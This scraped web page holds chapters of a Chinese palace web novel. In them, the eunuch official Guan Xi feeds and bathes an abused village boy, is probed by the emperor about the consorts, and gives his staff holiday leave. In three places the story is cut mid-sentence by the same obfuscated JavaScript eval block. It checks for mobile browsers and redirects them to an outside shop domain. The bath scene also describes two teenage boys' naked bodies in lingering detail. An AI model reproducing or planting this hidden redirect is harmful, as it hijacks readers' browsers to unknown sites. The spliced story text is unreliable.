院内布局简洁,也看得出曾经的精巧。正房三间,东西厢房各两间,庭院中一株老梅树虬枝盘曲,在雪中探出几点殷红的花苞。四下安静,只有风声掠过屋瓦的微响。 关禧吩咐双喜:“去小厨房看看有什么现成能吃的,热一些端到东厢。”他顿了顿,“要快,分量足些。” “是。”双喜应下,转身去了。 关禧这才看向一直僵立在门口的赵石头。雪地被踩得咯吱作响,寒风卷过,吹起赵石头破旧棉袄上脱线的棉絮。他始终低着头,盯着自己露出脚趾沾满污泥的破棉鞋。 “进来。” “……哦。”赵石头像受惊的兔子,瑟缩了一下,才挪动腿,跟了进去,始终与关禧保持着几步距离。 关禧推开东厢房的门。屋内陈设简单雅致,临窗一张炕,铺着厚厚的藏青色毡毯,炕桌擦得锃亮。靠墙是多宝阁和书案,另一侧则摆着圆桌和几张椅子。炭盆烧得正旺,银霜炭散发着融融暖意,驱散了从外面带进来的所有寒气。空气里弥漫着似有若无的留兰香,与北苑的霉味汗臭截然不同。 这过分的洁净与温暖,让赵石头更加无所适从。他站在门口地毯边缘,不敢再往前,生怕自己身上的污秽弄脏了这地方。 关禧脱下披风,随手搭在椅背上,自己在圆桌旁坐下,“把门关上,过来坐。” 赵石头慌忙回身,手忙脚乱地关上门,那门轴顺滑得没有一丝声响。他挪到桌边,却不敢坐,只垂手站着,头埋得更低。 关禧没再勉强,提起桌上的青瓷茶壶,倒了两杯热茶,“先喝口热的。” 赵石头盯着那杯氤氲着热气的茶水,喉咙动了动,不敢伸手。他太脏了,手指皲裂黑红,指甲缝里全是泥垢。这样的手,怎么能去碰那么干净的白瓷杯? 关禧看出了他的窘迫,不再催促,端起自己那杯,慢慢喝着。 不一会儿,双喜提着食盒进来了。他动作麻利地将几样饭菜摆上桌:一大海碗热气腾腾的羊肉汤,汤里浮着大块炖得酥烂的带骨羊肉和萝卜;一碟油汪汪的酱烧蹄髈;一碟清炒冬笋;还有一盆堆得冒尖的白米饭。都是实在管饱的菜式,香气弥漫开来。 饭菜刚摆上桌,赵石头的肚子就“咕噜”响了一声,在寂静中格外响亮。他瞬间面红耳赤,恨不得把自己缩到地缝里去。 “吃吧。”关禧拿起筷子,自己先夹了一筷子冬笋,“在这里不用拘着,吃完再说。” 食物的诱惑和关禧平静的态度,终于让赵石头僵硬的身体松动了一些。他抬起头,飞快地看了关禧一眼,又迅速垂下,然后像是下了极大决心,慢慢伸出手,抓住了筷子。 他深吸一口气,强迫自己镇定,颤抖着夹起一块离他最近的蹄髈肉,塞进嘴里。 肉块入口的瞬间,本能的吞咽欲望压倒了一切。他已经记不清多久没吃过这样的肉了。他开始还努力维持着一点点可怜的吃相,但很快,食物的温暖和饱腹感席卷了他,动作变得越来越快,几乎是狼吞虎咽。他不敢去碰那碗看起来就很贵的羊肉汤,只拼命往嘴里扒饭,就着蹄髈和冬笋,腮帮子塞得鼓鼓的。 关禧吃得很慢,大部分时间看着他吃。看着这个瘦小得仿佛一阵风就能吹倒的少年,以凶狠的姿态吞咽着食物,仿佛要把过去几年亏空的全部吃回来。 直到那盆米饭见了底,蹄髈和冬笋也消灭了大半,赵石头的速度才慢下来,他放下筷子,偷偷抬眼觑了关禧一下,见对方碗里的饭没动,脸上更是烧得厉害。 “汤趁热喝。”关禧说着,将自己面前那碗没动过的羊肉汤推到他面前。 赵石头看着那碗浓白喷香的汤,眼眶忽然有些发酸。他低下头,捧起碗,小口小口地喝起来。温热的汤汁滑过喉咙,暖意一直蔓延到四肢百骸,驱散了寒意。 等他喝完汤,放下碗,关禧才开口:“饱了?” “……饱、饱了。”赵石头声音沙哑,终于说了进屋以来的第一句完整话。 “双喜,”关禧朝外唤道。 双喜应声进来,手脚利落地收拾了碗筷。 “备水,沐浴。”关禧吩咐,“就在院里的浴房。找一套他能穿的干净衣服。” “是,督主。”双喜应道,退了出去。 赵石头听到“沐浴”两个字,身体又僵了一下。洗澡?在这干净暖和的地方?还有专门的浴房? 关禧站起身,“跟我来。” 他领着赵石头走出东厢,穿过庭院,走向西侧一间单独的屋子,那便是浴房。推开门,里面水汽氤氲,浴池里已注了大半热水,池边矮凳上放着澡豆,布巾和一套崭新的细棉布中衣。 “进去,洗干净。”关禧说,“衣服换下来的丢在门口篮子里。” 赵石头站在热气腾腾的浴池边,看着清澈的热水,又看看自己肮脏不堪的身体,犹豫着不敢动。 “需要帮忙?”关禧问,语气听不出什么。 “不、不用!”赵石头像被烫到一样,连忙摇头。他咬了咬牙,背对着关禧,开始脱身上那件散发着异味补丁摞补丁的破棉袄,然后是同样污秽的单薄中衣。 随着衣物褪去,一具属于十四岁少年,因长期营养不良和过度劳作而严重发育不良的身体暴露在温暖湿润的空气中。肋骨根根分明,肩胛骨嶙峋地凸起,手臂和腿细得像麻杆,皮肤是黯淡的灰黄色,上面还有冻疮和劳作留下的新旧伤痕。 他迅速把自己浸入热水中,只露出一个脑袋。 关禧的目光在那瘦骨嶙峋的脊背上停留了一瞬,随即移开,走到浴池另一侧,那里有一个较小的盆池,他也开始脱去自己的外袍,中衣。 赵石头听到窸窣的脱衣声,吓得浑身紧绷,把自己缩得更紧,只敢盯着水面。 直到听到入水声,他才敢转过头,朝声音来源瞥去。 只一眼,他就呆住了。 不远处的盆池里,关禧背对着他,正在清洗长发。氤氲的水汽中,那具身体……完全不像一个只比他大一岁的少年。肩背宽阔,线条流畅紧实,覆盖着一层薄而匀称的肌肉,在灯光和水光下泛着玉石般润泽的光,蕴含着少年人独有的柔韧与一股难以言喻的力量感。腰身劲瘦,没入水中,水波荡漾间,隐约可见臀部饱满的弧度和修长有力的腿部轮廓。 那是经过精心调养和锻炼的身体,健康,挺拔,充满了生机。与他自己这具干瘪孱弱的躯体,形成了惨烈到令人自惭形秽的对比。 赵石头猛地转回头,把脸埋进水里,只觉得脸颊烫得惊人,心脏在胸腔里狂跳。 关禧似乎并未察觉他的注视,或者说并不在意。他很快洗好,起身,带起一片哗啦水响。他用宽大的布巾裹住身体,擦干,然后走到一旁,换上另一套干净的月白色中衣。 整个过程自然从容。 换好衣服,他才走到浴池边,看着仍把自己缩在水里的赵石头,开口道:“头发不洗?” 赵石头慌忙摇头,又点头,语无伦次:“洗、洗……” “起来,我给你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171182|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洗。”关禧的语气平淡,手里不知何时多了一个木瓢。 赵石头僵住了。 “我……我自己来……”他声音细若蚊蚋。 关禧没理会他的拒绝,直接舀了一瓢热水,从他头顶浇下。温热的水流冲散了纠结打绺的头发。接着,关禧拿起澡豆,在掌心搓出泡沫,然后伸手,手指插入赵石头干枯打结的发间,轻轻揉搓。 赵石头整个人都僵成了真正的石头。他能感觉到那带着薄茧的手指,力度适中地按摩着他的头皮,带走污垢和油腻。这种感觉陌生,自从入宫,从来没有人这样对待过他。温暖细致。 他死死咬着嘴唇,不让自己发出一点声音,眼眶红了。 关禧的动作并不熟练,但很耐心。他仔细地冲洗掉泡沫,又用布巾包裹住赵石头的头发,绞干水分。 “好了,出来吧。”关禧退开几步,将干净的布巾和中衣放在池边矮凳上,“把自己擦干,换上衣服。我在外面等你。” 说完,他转身走出了浴房,带上了门。 浴房内重新安静下来,只剩下水波轻荡的声音。 赵石头愣愣地坐在水里,好一会儿,才慢慢站起来。他拿起那块柔软干净的布巾,一点一点擦拭着自己瘦弱的身体。热水浸泡后,皮肤呈现出一种久违的粉红色,虽然瘦得可怜,但总算有了点活气。 他换上那套细棉中衣。布料柔软贴肤,带着阳光晒过的干净气息,尺寸对他来说略大,但比起之前那身破烂,已是天上地下。 他走到浴房角落那面模糊的铜镜前,第一次认真看向镜中的自己。 头发湿漉漉地贴在额前,洗干净后露出了原本偏黄的发色。脸瘦得脱形,眼窝深陷,但那双因为惊吓而显得格外大的眼睛,在洗去污垢后,依稀能看出几分旧日清亮的影子。身上过于宽大的中衣衬得他更加瘦小。 他看着镜中这个陌生又熟悉的少年,恍惚间觉得,那个在上河村田野里奔跑,会跟在父母身后傻笑的孩子,好像隔着漫长的时光和苦难,极其模糊地投下了一点点影子。 他深吸一口气,推开浴房的门。 关禧就站在庭院那株老梅树下,望着沉下来的天色和梅枝上的点点红苞。听到开门声,他转过身。 洗干净,换上新衣的赵石头,整个人清爽了许多,那股长期浸染的麻木和畏缩似乎也被热水洗去了一层,显露出几分少年人应有的底色,尽管那底色已被苦难侵蚀得斑驳。 关禧打量了他片刻,开口道:“从今天起,你跟着我。” 赵石头抬头,眼中是难以置信的惶恐,“跟、跟着您?我……我什么都不会……我笨……” “不需要你会什么。”关禧打断他,声音清冷,“听话,管住嘴,就够了。” 他顿了顿,看着赵石头那双惶惑的眼睛,语气放缓了些:“北苑那边,你回不去了。在这里,至少能吃饱,穿暖,不用挨冻受罚。但前提是,你看到的,听到的,关于我的,关于这里的,一个字都不能往外说。能做到吗?” 赵石头用力点头:“能!我能!我死也不会说!” “记住你的话。”关禧走近两步,廊下灯光交织,落在他没什么表情的脸上,“以后,你就叫石安。石头本分,安稳度日。过去那个赵石头,忘了吧。” 石安……赵石头,不,石安在心里念着这个新名字。石头本分,安稳度日。这是他从未敢想过的未来。 他看着关禧,这个曾经的同乡,如今高高在上,手段莫测的关提督。恐惧依然存在,但在这恐惧深处,一丝微弱的暖流,伴随着饱腹后的满足感和干净衣物带来的舒适,悄然滋生。 “是……石安,谢……谢督主赐名。”他学着记忆中那些太监的样子,想要跪下。 “不必跪了。”关禧抬手虚扶了一下,“你的住处已经安排好,就在东厢旁边那间耳房。双喜会带你去。” 他不再多言,转身走向正房。 石安站在梅树下,看着他挺直孤峭的背影消失在门内,又望向这处安静得仿佛与世隔绝的院落。寒风依旧,院墙挡住了大部分凛冽,梅香若有若无。 双喜来到他身边,轻声道:“石安兄弟,随我来吧。” 石安收回目光,跟上了双喜。 82.第 84 章 接下来的日子,竟出奇地平静。 年关的脚步一日日临近,整座皇城都笼罩在一层忙碌浮华的喜庆气氛里。各宫各殿都在洒扫除尘,悬挂新制的宫灯彩绸,光禄寺,司设监,御用监昼夜忙碌,一车车珍稀食材,绸缎皮料,金银器皿流水般送入宫中。 内缉事厂也融入了这份按部就班的节奏里。 关禧每日将整理好的,关于各衙门采买支应中种种不合规的蛛丝马迹,分门别类,形成条理清晰的简报,递进乾元殿。 皇帝看过后,通常只是淡淡“嗯”一声,便搁置一旁。 永寿宫那边也异常安静。 太后深居简出,除了必要的晨昏定省和年节前的几场内命妇朝贺,几乎不见外人。偶有赏赐颁下,也都是循例,并无特别。仿佛周如意那件事,只是一粒微不足道的尘埃,拂去便了无痕迹。 石安被安置在关禧居所旁的耳房,成了他身边一个的影子。这孩子起初惊惶不安,动作带着长期被苛待养成的瑟缩,好在关禧并未让他接触任何机密,只吩咐双喜教他一些简单的伺候规矩,整理书房,跑腿传话。 石安学得极认真,手脚勤快,眼神始终低垂,只有在极偶然与关禧目光相接时,会飞快闪过一丝感激。关禧看在眼里,并不多言,只是吩咐双喜在衣食上莫要短了他。 这日午后,天空是冬日难得的澄澈湛蓝,阳光透过乾元殿高大的菱花格窗棂,在地面投下明暗交错的光斑。空气里龙涎香的气息混合着墨香。 关禧刚将一批整理好的文书归档,正欲告退,御座后的萧衍忽然开口: “今日事毕得早。关禧,陪朕用顿便饭吧。” 关禧心头微凛,垂首道:“陛下,奴才身份卑微,岂敢与陛下同席。奴才在外间伺候便是。” 萧衍从奏章后抬起眼,脸上没什么表情,“朕让你坐,你便坐。怎么,如今朕的话,在你这里也不作数了?” 这话语气不重,但其中的压力却让关禧背脊一僵,他立刻撩袍跪下:“奴才不敢!陛下息怒!” “起来。”萧衍放下朱笔,指尖在光滑的紫檀木御案上一点,“孙得禄,摆膳吧,简单些。就设在暖阁。” “是。”侍立一旁的孙得禄躬身应下,眼神飞快地在垂首而立的关禧身上扫过,旋即退出去安排。 不多时,暖阁临窗的炕桌上便摆好了几样精致的菜肴:一道燕窝鸡丝汤,一碟清蒸鲥鱼,一碟冬笋火腿,一碟酱鹿肉,并几样清爽小菜,两碗晶莹的碧粳米饭。菜式不算多,但样样讲究,色香俱全。 萧衍已除去了朝服外袍,只着一身家常的明黄色团龙纹常服,在炕桌一侧坐下。 他指了指对面:“坐。” 关禧深吸一口气,知道再推拒便是真的不知好歹了。他上前,在炕桌另一侧坐了,只挨着一点点炕沿,背脊挺得笔直,双手规规矩矩放在膝上。 孙得禄亲自布菜,随后便领着其他侍膳太监退到暖阁门外,只留下二人对坐。 暖阁里极静,只有银筷子偶尔碰到细瓷碗碟的轻响。阳光透过半开的茜纱窗,在炕桌上跳跃。 萧衍吃得很慢,胃口不佳,只略动了几筷子清笋和鱼,便搁下了。他端起手边的雨过天青釉茶盏,拨着浮沫,目光落在对面没怎么动筷的关禧身上。 “怎么,菜不合胃口?还是跟朕吃饭,紧张?” 关禧放下筷子:“回陛下,菜肴甚好。是奴才……” “行了,虚礼就免了。”萧衍打断他,语气缓和了些,“朕今日留你,也不是为了看你战战兢兢。这些日子你也辛苦了,内缉事厂初立,千头万绪,年关底下又盯着那么多双眼睛,不容易。” “为陛下分忧,是奴才本分。” 萧衍笑了笑,那笑意未达眼底:“本分……这宫里,守着本分的人不多,能把本分守出花样来的,更少。”他话锋一转,像是闲聊般,“眼看着就是元旦大朝,祭祀、宴飨、赏赐,一桩桩一件件,都是祖宗定下的规矩,动不得。可这规矩里头,也有些地方……让人看着不那么舒坦。” 关禧不知皇帝所指为何,只谨慎地听着。 “就说这后宫吧,”萧衍抿了口茶,目光投向窗外庭院里覆着残雪的太湖石,“中宫之位是母后当年定下的,皇后端庄贤淑,无可指摘。四妃之位,按祖制也该有人填补,空悬了这么些年,倒显得朕这个皇帝有些薄待后宫了。” “外头不免有些闲言碎语,说朕不重子嗣,不修内治。朕听着,也觉刺耳。” 关禧心中警铃大作。皇帝突然提起后宫妃位,绝不是无的放矢。他垂眸盯着眼前碗中粒粒分明的米饭,不敢接话。 萧衍也并不需要他接话,自顾自说了下去:“四妃之首,位同副后,干系重大。不仅要德容言功出众,其家世、性情,乃至能否为朕分忧,都需仔细考量。” “关禧,你在宫里也有些时日了,又在御前行走。依你看如今后宫里,哪一个堪当这四妃之首?” 来了。 皇帝竟然问一个太监,后宫妃嫔谁堪为四妃之首?这是天大的僭越,也是陷阱,无论关禧推荐谁,都立刻会卷入后宫争斗的漩涡,成为众矢之的,若缄口不言,又是对皇帝的问话不敬。 关禧背后沁出一层冷汗,面上强迫自己维持着平静,抬起头,迎向皇帝探究的目光,声音干涩: “陛下……奴才乃残缺之身,久居下僚,岂敢妄议后宫主子们的事?此等大事,自有陛下圣心独断,太后娘娘与皇后娘娘亦会为陛下参详。奴才……实不敢置喙。” 他把自己贬到尘埃里,问题推回给太后和皇后,姿态放得极低。 萧衍看着他,既未因他的推脱而动怒,也未轻易放过。他轻笑了一声,那笑声短促,带着点说不清道不明的意味。 “不敢置喙?朕记得,你当初可是从承华宫出来的。你的旧主,冯昭仪不是一向以温婉贤德、协理宫务得力著称么?” 这句话,像一把淬了冰的匕首,精准地抵在了关禧的喉间。 皇帝果然在这里等着他,直接点出了他与冯媛的旧主之谊,将冯媛推到了台前。 关禧的指尖在袖中颤抖,暖阁内温暖如春,他却觉得一股寒气从脚底直窜上来。 他不能顺着皇帝的话去夸赞冯媛,那等于承认自己与旧主仍有瓜葛,且有干预后宫之心,也不能贬低冯媛,那不仅忘恩负义,更可能触怒皇帝,毕竟冯媛是皇帝亲口称赞过温婉贤德的。 电光石火间,关禧脑中念头飞转。他再次深深垂下头,以一种叩首的姿态,声音竭力保持着平稳: “陛下明鉴。奴才确曾有幸在承华宫当差,蒙冯昭仪娘娘不弃,略加教导。然娘娘待下虽宽和,规矩却极严,奴才在彼时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186981|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只知恪守本分,听命行事,从不敢逾越半步,窥探主上心意。娘娘才德如何,陛下圣目如炬,自有公断。奴才愚钝,只知娘娘协理宫务,向来谨遵皇后娘娘与陛下旨意,尽心竭力,从无错漏。至于四妃之首……此乃天家大事,关乎国体,奴才一介微末,实无半分见识,唯知陛下无论作何决断,皆是深思熟虑,为了江山社稷、后宫和睦。奴才……唯有谨遵圣命,尽心办差而已。” 他滴水不漏。先承认旧主关系,但强调自己当时只是恪守本分的奴才,接着用皇帝自己的评价温婉贤德和协理得力来回应,将这些优点归于皇帝慧眼和冯媛本分,最后再次将决定权完全交还皇帝,强调自己绝无妄议之心,只知服从。 既撇清了与冯媛可能存在的特殊关系嫌疑,又未对冯媛做出任何可能被抓住把柄的评价,同时将对皇帝的忠诚摆在了最前面。 说完这番话,关禧维持着垂首的姿态,额角有冷汗缓缓滑下,没入衣领。暖阁里静得可怕,只有更漏滴滴答答,和炭火偶尔细微的爆裂声。 良久,他听到萧衍吁了一口气。 “罢了。”皇帝的声音重新响起,听不出喜怒,却少了先前那种刻意的压迫感,“朕不过随口一问,看你吓的。起来吧,菜都凉了。” 关禧慢慢直起身,依旧不敢完全放松。 萧衍不再看他,重新拿起筷子,夹了一块已经微凉的酱鹿肉,放入口中慢慢咀嚼。 “这鹿肉,是辽东新贡的,味道还算正。”他像是自言自语,又像是对关禧说,“关外苦寒,能猎到这样的好东西,不易。送进来一路,也不知经过多少人的手。” 他顿了顿,咽下鹿肉,端起茶盏:“有时候朕想,这宫里宫外,就像一张巨大的网。每一道贡品,每一项开支,每一句传到朕耳边的话,都要穿过这网上无数的结。有的结干净,有的结却沾满了油腻和污垢。” 关禧听着,知道皇帝意有所指。他接口:“陛下圣明,洞察秋毫。内缉事厂……愿为陛下拂拭这些污垢。” 萧衍转过头,看了他一眼,那眼神深邃难明。 “污垢积得多了,想一下子扫干净,反而会弄得尘土飞扬,乌烟瘴气。”他缓缓道,“年关是个好时节,大家都要图个喜庆,图个安稳。有些账过了年再算,也不迟。” 关禧心头了然。皇帝这是暂时按兵不动的意思。他躬身应道:“奴才明白。一切但凭陛下圣裁。” “嗯。”萧衍放下茶盏,挥了挥手,“朕乏了,你退下吧。厂里的事,继续看着。眼睛放亮些。” “是,奴才告退。” 关禧行礼,一步步倒退着出了暖阁。 直到走出乾元殿,被冬日下午清冷的空气一激,他才发觉贴身的里衣已被冷汗浸透,冰凉地贴在背上。阳光明亮,照在雪后洁净的宫殿琉璃瓦上,反射着刺目的光。 他回头,望了一眼那巍峨肃穆的殿宇。 皇帝今日这顿饭,这番问话,是提醒,是警告,也是一次对他立场和头脑的再次试探。冯媛被点出,绝非偶然。皇帝是在敲打他,提醒他不要忘了根本,也是在观察,他与旧主是否还有超出常理的联系。 而那句“过了年再算”,则明确传达了皇帝暂时隐忍,以待时机的策略。 山雨欲来风满楼。 这年关的平静,只怕是暴风雨前最后的假象了。 83.第 85 章 既然元旦大典的筹备,仪程,宴飨自有光禄寺,司礼监,礼部那些老衙门按祖宗成例操持,用不着他这个新立的内缉事厂指手画脚,事实上,那些衙门也巴不得他滚得越远越好。 关禧便也乐得清闲。 他骨子里终究不是个彻头彻尾的古代宫廷太监。那点属于现代人的灵魂碎片,在确认暂时无事,皇帝也默许放假的间隙,便冒了出来。 当牛马的苦,他太懂了。前世卷生卷死的晚自习,这辈子在停尸房醒来后一路的刀尖行走,本质上都是某种形式的牛马。将心比心,他手下这几十号刚刚经历立威,盯梢,精神高度紧绷的番役,也是血肉之躯,需要喘口气。 腊月廿三,内缉事厂的值房里,关禧召集了所有在编番役,他穿着那身靛蓝箭袖常服,没披蟒袍,少了些威压,多了几分利落。 “年关将至,宫内大典筹备自有定例,厂里近期的盯梢记录也已呈报陛下。这些日子,诸位辛苦了。” 底下番役们垂手肃立,心里都有些打鼓,不知这位手段莫测的提督又要安排什么新差事。 却听关禧话锋一转:“从明日起,至正月初三,厂内除必要轮值人员外,其余人等,分批休假轮值。名单何掌班会安排。轮休期间,可出宫探亲访友,也可在宫内歇息。每人额外支领一份节赏。” 他顿了顿,补充道:“出宫者,需至何掌班处登记去向、归期,领取出宫腰牌。初四卯时,必须回厂点卯。在外谨言慎行,莫要惹是生非,更不许泄露厂内任何事务。违者,严惩不贷。” 话音落下,值房里先是死寂,随即响起一片极力压抑的抽气声和不敢置信的窃窃私语。 放假?出宫探亲?还有节赏? 这在规矩森严,动辄得咎的宫里,尤其是他们这种新立,盯着无数眼睛的衙门,简直是想都不敢想的事情。许多底层太监入宫多年,与家人音讯断绝,从未想过还有能出去看看的可能,哪怕只是短短几日。 何璋也愣了,看向关禧的眼神充满诧异,但他很快反应过来,连忙躬身:“督主体恤,奴才等感激不尽!定当严守规矩,不负督主恩典!” 关禧点点头,示意何璋将准备好的,装着银锞子和几串新钱的红色利是封一一分发下去。番役们捏着那颇有分量的红封,感受着里面金属的硌手感,许多人眼眶都红了,扑通跪下,哽咽着谢恩。 关禧没再多说,挥挥手让他们散了。看着那些原本麻木或紧绷的脸上露出真切的欣喜和激动,他心中那点属于关提督的冷硬,也稍稍融化了一角。就当是……发年终奖金和调休吧。能让这些挣扎求生的人,过个稍微像样点的年,也算没白穿这一遭。 厂里留下了包括何璋在内的八人轮值,负责基本的文书传递和门户看守,都是平日表现最稳重,家不在京城的。其余人欢天喜地领了腰牌和赏钱,分批散去。 关禧也给自己放了假。 连着几日,他彻底卸下了关提督的枷锁。身上是舒适的深青色家常棉袍,头发松松用簪子绾着,白天大半时间都窝在自己那处僻静院落的正房里。 炭火烧得足足的,屋内温暖如春。窗边的炕桌上,摆着一副他让双喜从宫外寻来的木质象棋,棋子磨得光滑温润。他就拉着双喜对弈。 双喜起初吓得魂不附体,连连摆手说不敢。 关禧只淡淡道:“不下就出去站着。” 双喜这才战战兢兢坐下,每走一步都斟酌半天,汗流浃背。关禧也不催,慢悠悠地喝着热茶,看着棋盘,偶尔指点两步。他棋艺其实平平,前世也就公园老头水平,但拿来消磨这漫长冬日,足够了。 下累了,就歪在炕上看书,看累了,倒头便睡。睡醒了,双喜或贵平早已备好热腾腾的饭食,虽不比御膳精致,却都是实在可口的家常味道。他胃口也好了些,每餐都能多用半碗饭。 吃完睡,睡醒吃,偶尔下棋看书。没有阴谋算计,没有生死一线的紧张,没有需要时刻揣摩的圣意和太后冰冷的凝视。这偷来的几日闲暇,松散得奢侈,让他有种回到前世某个寒暑假下午的错觉。 只是偶尔,夜深人静时,他会突然惊醒,望着帐顶繁复的纹路,听着窗外寒风呼啸,心脏没来由地重重跳几下。那片刻的恍惚安宁便如潮水般退去,提醒着他身处何方。但很快,睡意再次袭来,将他拖入黑甜梦乡。 腊月廿八,午后。 天气阴沉,看样子又将有一场雪。关禧和双喜照例在炕上摆开棋盘。石安安静地守在门口炭盆边,时不时添炭,确保屋内温暖。 棋局过半,关禧执红,已占了些优势。双喜捏着黑车,眉头紧锁,盯着棋盘苦苦思索。 “督主这马跳得真是……让小的无处可逃了。”双喜愁眉苦脸地嘀咕,手指在棋子光滑的顶上摩挲。 关禧啜了口茶,没说话。 双喜又磨蹭了一会儿,终于落子,却是步明显的缓手。 关禧抬眼看了看他:“心不在焉?” 双喜一惊,手里的棋子差点掉在棋盘上,连忙道:“没、没有!小的不敢!” “那就是棋艺太臭。”关禧语气平淡,也没追究,只随手走了一步。 双喜松了口气,擦了擦额角的汗。接下来几步,他依旧走得魂不守舍,好几次关禧明明露出破绽,他都视而不见。 又下了片刻,关禧一记“重炮”将军,直接绝杀。 双喜看着棋盘,垮下肩膀。 “说吧,”关禧将棋子一一收回棋盒,“心里揣着什么事,憋了一下午了。” 双喜浑身一僵,扑通就从炕沿滑跪到地上,脸色发白:“督主恕罪!小的、小的不是有意怠慢……” “没问你罪。”关禧打断他,盖好棋盒,“问你有什么事。趁着我这几日心情好,或许能听一听。” 双喜跪在地上,头埋得低低的,手指用力抠着地砖缝隙,挣扎了好一会儿,才用极小的声音,期期艾艾地开口:“……其实、其实也没什么大事……就是、就是前几日,奴才轮休出宫,在、在北安门附近……偶遇了一个同乡……” “同乡?”关禧挑了挑眉。 “是、是……”双喜声音更小了,“是个小宫女,在、在承华宫……做些浆洗的粗活……就是那个叫小菊的。” 承华宫?浆洗宫女?关禧“嗯”了一声,示意他继续说。 得了这声“嗯”,双喜像是得了鼓励,话也顺了些,“奴才跟小菊……小时候一个村的,她家就在奴才家隔壁。后来家里遭了灾,走散了,没想到都进了宫……她、她命苦,分的地方不好,活计重,冬天冷水里泡着,手都……都生满了冻疮,又红又肿,有些地方都烂了……” 他说着,声音里带上了真切的心疼和难过。 “奴才看着心里不好受……就、就想着……督主您如今身份不同了,能不能……能不能在承华宫那边,帮着递句话?也不用多好的差事,就是、就是调个稍微轻省点、不用老是碰冷水的活儿……哪怕去花园洒扫呢?奴才、奴才愿意把这次的节赏都拿出来打点……”双喜越说越快,到最后带了哭腔,重重磕下头去,“奴才僭越!奴才该死!督主您就当奴才没说过!” 说完,他便伏在地上,一动不动,肩膀颤抖,显然是怕极了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186982|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 屋子里一时只剩下炭火燃烧的毕剥声。 双喜这点心思,关禧哪能听不懂?借着下棋的机会,拐弯抹角地提起承华宫里一个无关紧要的浆洗宫女,诉说她手生冻疮的苦处,最后才小心翼翼地提出,想让他这个从承华宫出来,如今又有几分权势的旧人,帮忙递句话,调个岗位。 说得隐晦,情谊倒是真的。那点节赏,对双喜这样的底层小太监来说,恐怕是一笔不小的财富,他能舍得拿出来,只为给同乡换个稍好点的差事,这份心思,在这人情凉薄的深宫里,也算难得。 承华宫……冯昭仪……楚玉。 这个名字在心头滑过,带来一丝极轻微的涩意。那夜风雪值房中炽热又混乱的纠缠,楚玉最后平静的眼神,以及那句低不可闻的“别负我”,像隔着一层毛玻璃,有些模糊,却又异常清晰地梗在那里。 双喜突然提起承华宫,是巧合,还是……有人借他的口,传递什么讯息?或者,仅仅真的只是一个卑微太监,想为同样卑微的同乡求一点点微不足道的怜悯? 关禧端起茶杯,抿了一口,涩味在舌尖蔓延。 “起来吧。”他开口,声音没什么起伏,“地上凉。” 双喜颤了一下,慢慢抬起头,脸上还带着惊惶的泪痕,不敢起身。 “一个小宫女的调遣,不算什么大事。”关禧放下茶杯,目光落在窗外阴沉的天色上,“承华宫那边,我如今也不便直接插手。不过……” “你可以去找何璋,就说我说的,让他以厂里需要些手脚勤快、背景清白的杂役帮忙整理档房文书的名义,去内务府派办处要几个人。点名要承华宫浆洗上的小菊。手续走正规,理由充分些。调过来后,安排在档房做些糊裱、除尘的轻省活计,别让她再碰冷水。厂里如今也算有个由头要人,内务府那边,这点面子还是会给的。” 他没提冯昭仪,没提楚玉,完全绕开了承华宫的主子,用的是内缉事厂自身的职权和需求。这样操作,看似绕了弯子,实则更稳妥,不会落人口实,也不会让他与承华宫的关系变得微妙。 双喜听完,眼泪都涌了出来,连连磕头:“谢督主!谢督主大恩!督主您真是活菩萨!小菊、小菊她一定记您一辈子好!” “行了,”关禧摆摆手,语气平淡,“记住,人调过来,就按厂里的规矩办。你私下照顾些可以,但别太扎眼。更不许对外透露是你求的情,就说是厂里正常要人,凑巧选了她。明白吗?” “明白!奴才明白!奴才一定把嘴闭得紧紧的!”双喜用力点头,眼泪鼻涕糊了一脸,笑得咧开了嘴。 “出去吧。把石安叫进来收拾棋盘。”关禧重新靠回引枕上,闭上了眼睛。 “是!奴才告退!”双喜抹着眼泪,轻手轻脚地退了出去,不一会儿,石安进来,开始收拾炕桌上的棋盘茶具。 关禧闭着眼,听着石安轻细的脚步声和瓷器碰撞的微响。 小菊……冻疮……承华宫…… 冯媛知道吗?楚玉知道吗?还是说,这仅仅是深宫底层两个卑微灵魂之间,一点微不足道的相互取暖? 他帮了这个忙,与其说是被双喜那点笨拙的请求打动,不如说,是给自己心里那点关于承华宫,关于楚玉的莫名挂碍,找一个极其隐晦的宣泄口。仿佛通过帮助一个与承华宫有关的,同样在受苦的微不足道的小宫女,就能稍稍触碰那片已然冰封的领域,告诉自己,有些关联,未曾真正断绝。 窗外,酝酿了一下午的雪,终于纷纷扬扬地落了下来。很快,天地间又是一片混沌的素白。 